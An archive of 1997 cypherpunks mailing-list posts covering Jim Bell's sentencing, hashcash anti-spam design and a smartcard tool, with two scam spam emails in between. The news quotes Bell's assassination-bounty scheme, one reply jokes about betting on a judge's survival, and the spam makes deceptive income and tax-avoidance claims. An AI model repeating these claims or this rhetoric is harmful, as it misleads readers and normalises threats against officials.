<1.5.4.32.19971213034250.006f3030@pop.pipeline.com> >From The Oregonian online: http://www.oregonlive.com/ Bell gets 11 months in prison, 3 years supervised release, fine The Associated Press 12/12/97 7:54 PM Eastern TACOMA (AP) -- A federal judge Friday imposed an 11-month sentence for tax violations on James Dalton Bell, whose 10-part Internet essay, "Assassination Politics," proposed apparent "bounties" on government officials. Federal prosecutors say he was advocating bounties on public officials he considered "miscreants" and "slimeballs." Bell has said he was theorizing, not advocating any killing. The Vancouver, Wash., man pleaded guilty in July to trying to impede Internal Revenue Service agents and to using false Social Security numbers to hide his assets. After his prison term, U.S. District Judge Franklin Burgess ordered Bell to undergo three years of supervised release. He also was ordered to pay $1,359 in restitution for damage caused by a stink bomb he set off at the IRS's Vancouver office. Bell's essay was cited in the indictment as a means by which he sought to intimidate IRS agents, Assistant U.S. Attorney Annmarie Levins said. A news release from federal prosecutors says that as part of his plea agreement, Bell "admitted advocating a scheme called `Assassination Politics' whereby persons would be rewarded with `digital cash' through the Internet for killing undesirable people. "Bell identified government employees, particularly IRS employees, as such undesirable people, and argued that the threat of `Assassination Politics' would intimidate them from enforcing Internal Revenue laws for fear of being assassinated." He also admitted proposing "Assassination Politics" as an enforcement mechanism for the anti-government Oregon extremist group Multnomah County Common Law Court, which purports to try government officials for performance of their duties, the release said. Prosecutors and Bell's public defender sought a sentence of 6 to 12 months as part of a plea bargain. Federal probation officers recommended 27 months, citing the "totality" of Bell's behavior. Bell described "Assassination Politics" as a means for ordinary citizens to take action against public officials they perceived as having violated their rights. "What if they could go to their computers, type in the miscreant's name and select a dollar amount. The amount they, themselves, would be willing to pay to anyone who `predicts' that officeholder's death," he wrote. "That donation would be sent, encrypted and anonymously, to a central registry organization and be totaled, with the total amount available within seconds to any interested individual." He noted that if one person in 1,000 "was willing to pay $1 to see some government slimeball dead, that would be, in effect, a $250,000 bounty on his head." In an April raid on the home Bell shared with his elderly parents, authorities found the home addresses of about 70 IRS employees, as well as three semiautomatic assault rifes, a handgun and potentially deadly chemicals. He was arrested in May. From tcmay at got.net Fri Dec 12 20:12:52 1997 From: tcmay at got.net (Tim May) Date: Sat, 13 Dec 1997 12:12:52 +0800 Subject: Jim Bell Sentenced: AP Report In-Reply-To: <1.5.4.32.19971213034250.006f3030@pop.pipeline.com> Message-ID: At 8:42 PM -0700 12/12/97, John Young wrote: >>From The Oregonian online: http://www.oregonlive.com/ > > > Bell gets 11 months in prison, 3 > years supervised release, fine As he's been jailed since May (the month, not me), and it's rare that full sentences are served, why wasn't he ordered released? As expected, the bulk of the comments focus on his "Assassination Politics," not his mundane, minor white collar crime of faking SS numbers. Who says Amerikkka has no political prisoners? He'll do more time than a convicted baby murderer did. Justice in Amerikkka. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at bureau42.ml.org Fri Dec 12 20:30:23 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Sat, 13 Dec 1997 12:30:23 +0800 Subject: Where is the c-p traffic? Message-ID: Am I the only one to notice that traffic has dropped from about 100 messages/day to only a few? Does anyone know what is broken? Does anyone care? Is the whole c-p list a giant MITM being run against a very few of us who are the only human participants? Oh dear! I just realized that c-p _could_ be subject to an interesting MITM attack: By subtlely modifiying the text of c-p messages arriving at certain key recipients, the bad guys could then correlate the quoted text in resulting anonymous replies to the list with individuals, and could probably also shave a layer or two off the remailer chains through which those messages were sent. The determination of individual's usage patterns of remailers would also benefit from this, and the info would go into a growing database which could then be used at some point down the road to nail key people and remove them as irritants and agitators. Isn't it odd that many key contributors to the list coincidentally live near nondescript neighborhood houses that bristle with antennae and are regularly visited by black helicopters and large unmarked vans? No, I didn't think so either. That's probably an unrelated operation. TrafficMongerII From ravage at ssz.com Fri Dec 12 20:37:41 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 13 Dec 1997 12:37:41 +0800 Subject: Where is the c-p traffic? (fwd) Message-ID: <199712130448.WAA21121@einstein.ssz.com> Forwarded message: > Date: Sat, 13 Dec 1997 00:30:30 GMT > From: bureau42 Anonymous Remailer > Subject: Where is the c-p traffic? > > Am I the only one to notice that traffic has dropped from about 100 > messages/day to only a few? You are getting *lots* of bounces if you were getting anything like 100 messages per day. > Does anyone know what is broken? At this point either your arithmetic or your memory. Either way, it sounds like a personal problem. > Does anyone care? Is the whole c-p list a giant MITM being run > against a very few of us who are the only human participants? Damn, found out. > Isn't it odd that many key contributors to the list coincidentally > live near nondescript neighborhood houses that bristle with > antennae and are regularly visited by black helicopters and large > unmarked vans? No, I didn't think so either. That's probably an > unrelated operation. Just exactly what kind of drugs are you taking? There is a house rule you *must* bring enough for everyone. No helicopters, vans, jack-booted thugs, or anything else around here dude. Don't know about an opinion, a paranoia induced hallucination for sure. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From mixmaster at remail.obscura.com Fri Dec 12 20:42:27 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Sat, 13 Dec 1997 12:42:27 +0800 Subject: You can take it with you Message-ID: <199712130431.UAA02248@sirius.infonex.com> "Last year, when a major financial columnist suggested that people should buy stocks and hold them until the day they died, we figured expectations had hit the ceiling. We were wrong. Apparently, in a mania of this magnitude, even the bounds of mortality can be sur- passed. The Luxemborg-based Prometh Societ� is offering "reincarnation accounts" to people who are not willing to let death stand in the way of their financial planning (minimum account size is $30,000). When the claimant returns in the next life and provides a few key facts, he can claim the account, which will presumably have grown to quite a size at the generally-expected 30% per annum compounded." The Elliott Wave Theorist -- December 5, 1997 From pooh at efga.org Fri Dec 12 20:49:46 1997 From: pooh at efga.org (Robert A. Costner) Date: Sat, 13 Dec 1997 12:49:46 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <199712130059.AAA06343@server.eternity.org> Message-ID: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net> At 12:59 AM 12/13/97 GMT, Adam Back wrote: >(Hashcash is a way of proving that the sender has consumed a tunable >amount of CPU time. The verification process consumes negligible CPU >time. This allows us to require the would be spammer to spend say 20 >seconds per mail, which will slow him down considerably, over his >current tactics of 1000 long Bcc lists allowing him to hand off >spamming tasks to mail servers.) So a remailer, such as Cracker, that might send out an average of 3,000 emails per day would be required to use up 3,000 * 20 secs = 17 hours of cpu time per day. Since a portion of these emails are to multiple recipients, then let's add 1/3 extra hashcash CPU time, or a total of about 22 hours of CPU time per day. Now since Cracker runs on old, antiquated equipment, easily two or more years out of date, I think we need to double this figure. (The Cracker CPU is actually less than 1/4 of the speed of many up to date desktop machines.) So, we would need about 44 hours of CPU time each day. Of course the Cracker mail system also runs various mail lists for EFGA. So we will need hashcash for these messages as well. If I wish to send out a personal email to each of say 900 nyms, then I will have to generate 900 * 20 seconds, or 5 hours of hashcash time in order to send an individual message to each nym. I certainly can setup myself as a privileged user on the Cracker SMTP port and bypass this requirement, but I'll need the hashcash for the unknown destination address of final delivery. Of course, since we might be able to delete the need for hashcash among people who know each other, we could have Cracker build a database of people who like to have privacy, and not have to generate the hashcash if we find you in our files. ISP's in general could handle the hashcash generation at the SMTP level by keeping databases of who sends email to whom. It is of course far easier to do a single database lookup than to generate the 20 seconds of hashcash. I don't know. I just don't understand the plan fully. I'll have to think about it some more. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From hellen at east.net Sat Dec 13 12:56:44 1997 From: hellen at east.net (hellen at east.net) Date: Sat, 13 Dec 1997 12:56:44 -0800 (PST) Subject: GETS THE CREDIT CARD YOU DESERVE- GUARANTEED! Message-ID: <199712131917.TAA19470@mwr.mwr.is> GET THE CREDIT YOU DESERVE! Hi! I just wanted to pass along some information that you will want to know. Its amazing! Listen to this..... I obtained a credit card with a $10,000 limit within days! I learned how to transfer my high interest rate credit card balances to a credit card with a 5.9% introductory rate and the rate stayed in the 9% bracket after the introductory period! Also, I learned how to obtain a credit card that will allow me to earn one free mile of flight for every dollar I charge on my card! And for those who are credit challenged, you can learn how to obtain an UNSECURED credit card that, if used wisely, can help re-establish your good credit. These cards are all LEGITIMATE VISA OR MASTERCARDS!! This information can be yours shortly! Save money and make a positive change in your financial future! This information could change your life! Simply click mailto:hed at goplay.com and then type "credit" as the subject. You'll be thankful you did. I know I was! I'll talk to you later. Cam PS: If this message reached you in error, please accept my apologies and delete it. This is a one-time mailing and you will not be mailed to again. From ichudov at Algebra.COM Fri Dec 12 20:59:31 1997 From: ichudov at Algebra.COM (Igor Chudov @ home) Date: Sat, 13 Dec 1997 12:59:31 +0800 Subject: Where is the c-p traffic? In-Reply-To: Message-ID: <199712130454.WAA21714@manifold.algebra.com> bureau42 Anonymous Remailer wrote: > Oh dear! I just realized that c-p _could_ be subject to an interesting > MITM attack: By subtlely modifiying the text of c-p messages arriving > at certain key recipients, the bad guys could then correlate the quoted > text in resulting anonymous replies to the list with individuals, and > could probably also shave a layer or two off the remailer chains > through which those messages were sent. The determination of And you obviously have a way to defend against this attack. Inventing the way to do it is left as an exercise to the readers. - Igor. From frantz at netcom.com Fri Dec 12 21:07:38 1997 From: frantz at netcom.com (Bill Frantz) Date: Sat, 13 Dec 1997 13:07:38 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <199712130059.AAA06343@server.eternity.org> Message-ID: At 4:59 PM -0800 12/12/97, Adam Back wrote: >I am looking at writing some hashcash > ... Neatly worked out scheme deleted ... I think there needs to be a story for mailing lists. It might be acceptable for the first pass to allow spamming of mailing lists but not of individuals email addresses. (Apologies in advance to list moderators.) ------------------------------------------------------------------------- Bill Frantz | One party wants to control | Periwinkle -- Consulting (408)356-8506 | what you do in the bedroom,| 16345 Englewood Ave. frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA From emc at wire.insync.net Fri Dec 12 21:19:04 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sat, 13 Dec 1997 13:19:04 +0800 Subject: Jim Bell Sentenced: AP Report In-Reply-To: <1.5.4.32.19971213034250.006f3030@pop.pipeline.com> Message-ID: <199712130511.XAA05566@wire.insync.net> > TACOMA (AP) -- A federal judge Friday imposed an 11-month > sentence for tax violations on James Dalton Bell, whose 10-part > Internet essay, "Assassination Politics," proposed apparent > "bounties" on government officials. > After his prison term, U.S. District Judge Franklin Burgess > ordered Bell to undergo three years of supervised release. He also > was ordered to pay $1,359 in restitution for damage caused by a > stink bomb he set off at the IRS's Vancouver office. Does he get credit for time served? Where do I contribute my dollar to the "Bet a Buck Judge Burgess Lives to See 1998" fund? :) -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From gbroiles at netbox.com Fri Dec 12 22:14:09 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sat, 13 Dec 1997 14:14:09 +0800 Subject: Columbian squib on Bell sentencing Message-ID: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com> >From The Columbian's web site at : 'Assassination Politics' author gets 11 months TACOMA, Wash. - James Dalton Bell, the Vancouver man who wrote an Internet essay entitled "Assassination Politics," was sentenced this morning to 11 months in prison and two to three years of tightly supervised probation. Bell's attorney objected to the probation conditions, which bar Bell from possessing a firearm or chemicals or entering a federal office without prior approval. He may not advocate violence or overthrow of the government. Bell, 39, has been in custody since May. In July, he pleaded guilty to obstructing Internal Revenue Service agents and using false Social Security numbers. Bell also admitted collecting the names and home addresses of IRS employees; proposing the "Assassination Politics" idea that targeted federal employees, and planting a stink bomb in the IRS's Vancouver office in March. -- Marcia Wolf, Columbian staff writer -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From phelix at vallnet.com Fri Dec 12 22:25:40 1997 From: phelix at vallnet.com (phelix at vallnet.com) Date: Sat, 13 Dec 1997 14:25:40 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <199712130059.AAA06343@server.eternity.org> Message-ID: <34921c6b.2682714@128.2.84.191> On 12 Dec 1997 22:44:29 -0600, Adam Back wrote: > > >I am looking at writing some hashcash >(http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention >software. The motivation for writing spam prevention software is that >spam is better combatted with technical methods than legal or >political (we do not want clueless politicians coming in ham-fisted >and requiring "Internet Drivers Licenses" or anti-spam legislation or >anything else, such actions will be hazardous for the future of >remailers, in my opinion). I fear such draconian measures are inevitable as long as the "lobbying" group CAUCE is around. They actively discourage the adoption of technical solutions; favoring legislation. And since CAUCE was formed by "Net people", it will be seen (and spun in the press) as though we actually welcome such legislation. [... explaination of hashcash spam prevention deleted...] >The Right Way to do it perhaps is as an SMTP extension, however I >consider this impractical in the short term because as far as I know >there is no SMTP extension plug-in mechanism (other than access to the >source code, and lots of development time) and because there are a >large number of mail servers in use, and it will be expensive in >developer (that's me) time to provide patches for them all >(exarcebated by the fact that in many cases source will not be >available). How does PGP do it with their policy enforcer? >So these problems leave us scratching around for other more generic >approaches. One method is to create a proxy which receives mail on >port 25 (as the SMTP server normally does) filters examining for >correct hashcash postage, and bounces if the postage is missing, and >forwards the mail on to the real SMTP server if the hashcash postage >is valid. The real SMTP server would then be set to run on another >port... say port 26 which is reserved, and have the mail forwarded to >it at that port. (You would want to disable non-local access to port >26 either at firewall or with SMTP server configuration if that is >possible). > >Alternatively run the real SMTP server on another machine inside the >local network. > >A few problems with this approach, firstly it may not be possible to >configure some SMTP server software to run at ports other than 25. (I >know you can do it with sendmail: OOPort=26 does it.) (If this is not >possible with a given SMTP server you can still run a proxy by running >the real SMTP server on another machine inside the network). > >Secondly the proxy approach prevents some of the SMTP server functions >from operating properly because the process on the other end of the >socket is our hashcash proxy on localhost rather than the remote mail >hub (modern sendmails can be configured to perform reverse name >lookups on IP addresses, call ident (ident sucks anyway IMO), or block >based on IP address or domain, etc.) Is this kind of thing likely to >be a big problem? I don't see why. Just have the proxy work both ways. Isn't it possible for the proxy to keep track of which message came from which address and relay server requests back to the right user? (I'm not familiary with how sendmail works, so I'm probably missing something) > >This still leaves open the question of the user generating their own >hashcash postage. Again this could be problematic for neophytes. One >solution is to include a URL for a web page including a javascript >hashcash generator -- this means that no new software must be >installed, the user cut and pastes the generated hashcash into their >message. How many of the popular email pacakges have support for plug-ins? Netscape Communicator is the only package (that neophytes will use) I know of that doesn't support email plugins. Perhaps in this case a small proxy could be installed on the user's machine. The only thing it would have to do is generate hashcash for outgoing messages. >However things would be a whole lot simpler short term if the mail >originators ISP created the hashcash for him at the ISPs SMTP hub >where the user hands off his mail for further delivery. > >The main problem with this is that the SMTP mail hub would be >overloaded by the CPU intensive task of generating hashcash. > >There are a few techniques to reduce the overhead of preventing spam >with hashcash. One is to require valid hashcash only on the first >message to a given address. (Spammers being hit and run types, and >even having to generate hashcash for each spamee once would be >expensive for a spam list of 10 million unwilling spam recipients). >Better, is to require valid hashcash on all mail, _until_ the >recipient replies to a mail. This is good because people rarely reply >to spammers. > >Ordinary users who chit-chat backwards and forwards in mail generate >little added overhead for the hand off SMTP server -- the only >overhead being to generate say 5 seconds CPU worth of hashcash for >each new recipient the user sends to. > >Then you add some hashcash accounting so that users who overspend >(consuming more than say 1 minutes CPU consumption on the server in a >24 hour period have their email bounced with explanation of how to >generate their own hashcash as a heavy user). > >Figures would need tuning to see how they worked out in practice, >however it seems that it would be feasible to handle the whole >operation entirely at the sending and receiving SMTP servers. > What's the difference between this and simply keeping track of how many messages each user sends in a 24 hour period and blocking people who are obviously spamming? -- Phelix From declan at well.com Fri Dec 12 23:52:02 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 13 Dec 1997 15:52:02 +0800 Subject: Crypto-gathering today in DC (12/13) at 3 pm Message-ID: We're having a crypto-gathering in Washington, DC today to coincide with the end of IETF. It probably would be a DC cypherpunks meeting if we had enough notice -- but since we don't it'll be a less formal gathering instead. Guests -- John Gilmore and Hugh Daniel When -- 3 pm, Saturday, December 13 Where -- Adams Morgan, Washington, DC What -- Probably IPsec, Bernstein lawsuit, crypto legislation If you're interested, email for details. -Declan From 03133071 at moneymakers.com Sat Dec 13 16:34:04 1997 From: 03133071 at moneymakers.com (03133071 at moneymakers.com) Date: Sat, 13 Dec 1997 16:34:04 -0800 (PST) Subject: Make $2,000 - $5,000 per week -NOT MLM Message-ID: <199746522791.FBB03720@moneymakers.com>

ARE YOU READY TO MAKE IT; WILL THE LIGHT GO ON?

Are you tired of working 9-5 for peanuts, with little or no control over your financial destiny? Hello, my name is Dieter and my partners name is Dennis
 (By the way, please forgive this intrusion. We are looking for people who have
an entrepreneurial spirit and can recognize an opportunity when they see it and move on it! If that's you, We'd like to invite you to join our team and work from your home making $2.000 to 5,000 per week and more....much more in some cases. One of our members quit her job of 14 years after one month! Another made the cover of a national magazine after just one quarter! Skeptical? You should be. You've seen every scam out there. So have the rest of us. But simply stated, this is the finest opportunity in America today. We can prove it. How? We have exactly what over-worked, under-paid, over-taxed Americans desperately want and need!

REMEMBER, THE ROAD TO HELL IS PAVED WITH GOOD INTENTIONS!

It's your choice, financial freedom or bondage!

INTRODUCTION:
    Our international association is comprised of a large group of extremely diverse independent individuals from attorneys, physicians, CPA's, licensed financial consultants and other professionals to housewives, students and blue-collar workers.

Since the original founders of our organization first banded together just over three short years ago, we have grown to over 20,000 members in the United States and Canada and we are adding literally hundreds of new associates every day. What's so incredible about our phenomenal growth rate is that we are not M L M'ers!!

HERE ARE 16 REASONS YOU SHOULD TAKE A SERIOUS LOOK AT THIS:

1.YOU REALLY CAN EARN $2,000 - $5,000 PER WEEK, WORKING FROM YOUR HOME... By and large, the majority of us already are. Why not you too?
2.  FAST AND EASY WITH REASONABLE STARTUP COSTS... You can be up and going, trained and generating huge cashflow, within 24 hours from the time you decide to pursue this venture. You won't need any personnel, office, liability or workers comprehensive insurance --- just a fax machine and a phone!
3.  REASONABLE FIXED OVERHEAD/OPERATING COSTS... Your only overhead is your phone bill!
4.  PROFITS THAT ENTREPRENEURS USUALLY ONLY DREAM OF.. A 90% profit margin on sales of $1,250 or $6,250 respectively, means you net either $1,125.00 OR $5,625.00 on **EVERY** sale!
5.  EASY TO MARKET; We don't do any selling..everyone wants and needs our products! All we do is explain it and offer it to people! REAL? Don't take my word, prove it to yourself!  Take a look at this and then do what over 20,000 of us have done.
6.  NOT MLM... This is not some chain letter or any other kind of bogus, unethical or illegal scheme.  (EXAMPLE: Our $1,250 product's actual value is estimated to be between $10,000 and$15,000!).
7. NO INVENTORY MAINTENANCE OR ORDER FULFILLMENT... WITH AN UNCONDITIONAL TEN DAY MONEY BACK GUARANTEE. .
8. 8.  DEAL EXCLUSIVELY WITH ONLY INTERESTED PROSPECTS...
9.  ALL PROCEEDS ARE ISSUED DIRECTLY TO YOU.
10.  ALL THE FRESH HOT LEADS YOU CAN HANDLE....
11.  TRAINING, MARKETING, ADMIN. SUPPORT SECOND TO NONE... Most people who market our products make 1 or 2 sales their VERY FIRST WEEK,  we're ALWAYS there to HELP YOU
12.  OUR PRODUCTS...THE BEST THERE IS. Simply put, what we sell to earn our extraordinary living, is education, incredible and verifiable factual information that 99% of the world's population doesn't even know exists, including most Attorneys, CPA's, so called Tax Experts, Tax Consultants, Financial Consultants, Investment Strategists and the like. It's no big secret that the rich pay very little (if any) taxes on their incomes, but how do they get away with it? With these simply presented and easily understood educational products, ordinary people just like you and me are now learning to use the same complex tax avoidance and investment strategies that the wealthy have always used! Anyone who purchases our products quickly finds out that no matter what their current situation, they can substantially reduce (and in some cases even totally eliminate) ALL of their personal and/or business tax liabilities, forever and completely legally. And, interestingly enough, the informatio!
n is just as valid for those who
 are wage earners as those who (already) have money! Consumers of these incredible educational products also learn that there are many safe (insured) investment vehicles that the wealthy use, which generate three to five times more yield on their cash investments in one month, than the rest of the world gets in a whole year?  Our products not only identify these vehicles, but even show techniques and methodologies that an average person can use in taking advantage of them - even with very little cash to invest! (IMPORTANT NOTE: We, the salespeople who market these products, Do not sell investments or investment opportunities of any kind nor do we give any legal, investment, tax, or other "professional" advice). And, did you know that because our society has become so litigious, the odds of an individual being named as a defendant in a civil litigation in the next 12 months, are now more than 10 times greater than the odds that they'll be hospitalized? These products also show !
average people how to become leg
ally "judgement proof" --- how to fully protect both their current and future assets from any form of liens, levies or judgements in any civil legal action wherein they are named as a defendant. 
13.  CREDIBILITY...
Our association is only a little over three years old but has already established itself as a well recognized, well reputed and universally respected international organization.
14.  INCREDIBLE, VERIFIABLE TRACK RECORDS OF SUCCESS... You'll be introduced to many others in our association who are already earning a great deal of money(mostly just average middle class people like you and I), and have been able to do so virtually immediately as soon as they started with us.  
15. SPEND LOTS MORE TIME WITH YOUR FAMILY... 
Our turnkey system does not require long hours in order to be successful.
16.  THIS IS IT -- NO HYPE -- NO EXAGGERATION...
In over 35 years of owning and operating my own businesses, before I took a real good look at this, of course I thought I'd seen it all. Frankly, I was convinced that I already knew everything there was to know about anything relating to marketing and sales, if not business in general. I am well experienced and a professional who considers myself exceptionally savvy. But as soon as I got the full picture, it turned my previous view of business and even the views I had of myself, upside down!  My experience then led me to the question, "If my logic as well as my calculations were even half accurate, and I could make great money not even having to sell much, what if I sold a lot?" With that I jumped in on Oct'97 and haven't regretted it for even a split second since. With some experience under my belt now, I can tell you two things without any hesitation whatsoever: 1) Expect to earn an enormous personal income, and 2) do so while enjoying yourself doing it. 

FROM ME TO YOU, PERSONALLY.......
  If  you are a little skeptical of the above "unbelievable" outline of this opportunity, that's okay. At first, so was I (and so is everyone else who first runs into it). We understand, especially in this day and age, that it's prudent to be cautious. But from me to you, don't let anything, including any bitter memories you have of bad experiences, keep you from at least giving this an honest look. YOU OWE IT TO YOURSELF AND YOUR FAMILY! ". I give you my word, you won't be sorry you did. 

If you are interested in how you can earn a great deal of money quickly,call us at: (Note please read this letter completely before calling)
1-888-245-9163 - To set up an interview (24 Hours a day)
904-654-7727 (Ext. 6200) For money-making information 
904-654-7727 (Ext. 5093) For information on taxes

Please feel free to forward any specific questions or comments. We will return all calls in the order they were received. A telephonic interview is required before acceptance . Thereafter you will be given a toll-free number to contact us at any time.

We are looking for 5 good people, you could be one of them!

Sincerely,
DENNIS  AND  DIETER


             









From shamrock at cypherpunks.to  Sat Dec 13 01:20:44 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Sat, 13 Dec 1997 17:20:44 +0800
Subject: Smartcard update
Message-ID: 



Cypherpunks Tonga announces yet another version of SIO/STEST, the
universal smartcard software.

Quick summary of changes:
 - Philips, Gemplus, and Schlumberger reader support added
 - Chipknip (IEP) specific commands added
 - new internal commands
 - infrastructure for implementing card specific commands has been added
   (which the chipknip commands are built on top of)

At this point, we need others to start writing tables to support
additional cards. If you have an ISO7816 compatible smartcard with
programmer reference manual and minimal C knowledge, you can contribute to
the project. 

Full source is at https://www.cypherpunks.to/scard/stest_download.php

-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From aba at dcs.ex.ac.uk  Sat Dec 13 03:19:47 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 13 Dec 1997 19:19:47 +0800
Subject: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <199712131055.KAA00967@server.eternity.org>




Robert Costner  writes:
> At 12:59 AM 12/13/97 GMT, Adam Back wrote:
> >(Hashcash is a way of proving that the sender has consumed a tunable
> >amount of CPU time.  The verification process consumes negligible CPU
> >time.  This allows us to require the would be spammer to spend say 20
> >seconds per mail, which will slow him down considerably, over his
> >current tactics of 1000 long Bcc lists allowing him to hand off
> >spamming tasks to mail servers.)
> 
> So a remailer, such as Cracker, that might send out an average of 3,000
> emails per day would be required to use up 3,000 * 20 secs = 17 hours of
> cpu time per day.  Since a portion of these emails are to multiple
> recipients, then let's add 1/3 extra hashcash CPU time, or a total of about
> 22 hours of CPU time per day.

Remailers require a different strategy.  With remailers you are trying
to discourage spammers from using the remailer, with email you are
also trying to discourage spammers, but you have to do it in ways
which is easy for neophytes to cope with.

With remailers people already have to get new software, and all of the
source is available, so it is relatively easy for us to add
requirements for hashcash postage into type I remailers, in to
mixmaster, and newnym.  Hashcash was originally designed for this.
There is an implementation on http://www.dcs.ex.ac.uk/~aba/hashcash/

Also Andy Dustman, who is the guy who administers the efga remailer
(right?) wrote a python interface to hashcash, and is keen on python
hacking.  I suspect efga remailer may even be written in python if
Andy had much to do with it :-)

So with remailers you insist that the sender generate the hashcash
with all of their remailer requests, you bounce it or silently trash
it if there is no valid hashcash.  Also I would highly recommend that
you use Ian Goldbergs exit man script for remailer delivery -- it
delivers via HotMail and other such free web based email systems, via
publically accessible proxies and ensures that your remailer address
doesn't appear in the headers where you are the exit remailer. 

> Of course the Cracker mail system also runs various mail lists for EFGA.

Mailing lists you have to realistically I think not use hashcash for.
The majordomo process would become overloaded if it had to generate
hashcash for each recipient of each message.  Similarly the poster
would be over loaded if he had to generate hashcash for each recipient
of the message.  (I would not like to have to generate 1000 (or
whatever the current readership is ) of 20 second hashcash stamps to
post this message to cypherpunks for instance).

The way to cope with this in hashcash filters is to exempt mailing
lists from hascash requirement via a user administered allow list.

(You could possibly auto detect mailing lists at the hashcash filter
agent -- the subscription process could be detected -- or more risky
in that spammers might work out a way to abuse this -- by recognising
the pattern of mails -- lots of mails with the same Sender, and
different From fields.

> Of course, since we might be able to delete the need for hashcash among
> people who know each other, we could have Cracker build a database of
> people who like to have privacy

I tend to argue against this include list -- remailers become less
useful if you can not send mail to anyone who can receive SMTP mail.
I prefer the exit man via HotMail approach to the send notification
that there is anonymous email ready to be picked up approach.

> ISP's in general could handle the hashcash generation at the SMTP
> level by keeping databases of who sends email to whom.

Yes.  This can work reasonably well because people do not reply to
spammers, and most email has a to and fro pattern.

> It is of course far easier to do a single database lookup than to
> generate the 20 seconds of hashcash.

> I don't know.  I just don't understand the plan fully.  I'll have to
> think about it some more.

Read the stuff on http://www.dcs.ex.ac.uk/~aba/hashcash/ it talks more
about remailers.

Adam






From aba at dcs.ex.ac.uk  Sat Dec 13 03:19:57 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 13 Dec 1997 19:19:57 +0800
Subject: hashcash => mailing lists get spam instead
In-Reply-To: 
Message-ID: <199712131100.LAA00986@server.eternity.org>




Bill Frantz  writes:
> 
> At 4:59 PM -0800 12/12/97, Adam Back wrote:
> >I am looking at writing some hashcash
> > ... Neatly worked out scheme deleted ...
> 
> I think there needs to be a story for mailing lists.  It might be
> acceptable for the first pass to allow spamming of mailing lists but not of
> individuals email addresses.  (Apologies in advance to list moderators.)

Yes, I think this is a reasonable first pass.

Naturally as you suggest the foiled spammer will then target mailing
lists and newsgroups.

I tend to view this as less of a problem because these forums are
already noisy and tend to require filtering, or manual filtering by
skimming for posters you recognize anyway.

Also I understand collaborative ratings schemes like NoCeM can be
configured to work for mailing lists.  For people who don't want to
install new software (and that is most people in my experience, myself
included) can use filtering services.

For example if spam became a problem on cypherpunks it would be easy
for someone to set up yet another filtered cypherpunks list which
promised to filter purely on the commercial spam criteria.

The reputation of the available filtering services, and the paranoia
of various list members would ensure that any untoward filtering would
be called into question.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199712131036.KAA00930@server.eternity.org>




Phelix  writes:
> 
> >The Right Way to do it perhaps is as an SMTP extension, however I
> >consider this impractical in the short term because as far as I know
> >there is no SMTP extension plug-in mechanism [...]
> 
> How does PGP do it with their policy enforcer?

Their controversial GAK ready policy enforcer works as a a local SMTP
proxy.  You set up your normal SMTP server on another machine, and
configure the policy enforcer to forward mails to the normal SMTP
server.  Or presumably if you can configure your SMTP server to accept
connections on a port other than 25 you could have the SMTP enforcer
on the same machine.

The same thing could work for a hashcash filter, and it is one
feasible solution.

> >Secondly the proxy approach prevents some of the SMTP server functions
> >from operating properly because the process on the other end of the
> >socket is our hashcash proxy on localhost rather than the remote mail
> >hub (modern sendmails can be configured to perform reverse name
> >lookups on IP addresses, call ident (ident sucks anyway IMO), or block
> >based on IP address or domain, etc.)  Is this kind of thing likely to
> >be a big problem?
> 
> I don't see why.  Just have the proxy work both ways.  Isn't it possible
> for the proxy to keep track of which message came from which address and
> relay server requests back to the right user?  (I'm not familiary with how
> sendmail works, so I'm probably missing something)

The functionality which is lost is the possibility for the sendmail to
be configured to do a reverse DNS lookup on the IP address which is
connecting to it, and check that that domain is the same as the domain
in the From field.  Also ident lookups don't work anymore either.
However I am not sure how reliable either of these mechanisms are, and
I'm not sure that many people are using them because they would be
unlikely to be reliable in the general case.

So probably this is not a problem.

> >This still leaves open the question of the user generating their own
> >hashcash postage.  Again this could be problematic for neophytes.  One
> >solution is to include a URL for a web page including a javascript
> >hashcash generator -- this means that no new software must be
> >installed, the user cut and pastes the generated hashcash into their
> >message.
> 
> How many of the popular email pacakges have support for plug-ins?
> Netscape Communicator is the only package (that neophytes will use) I know
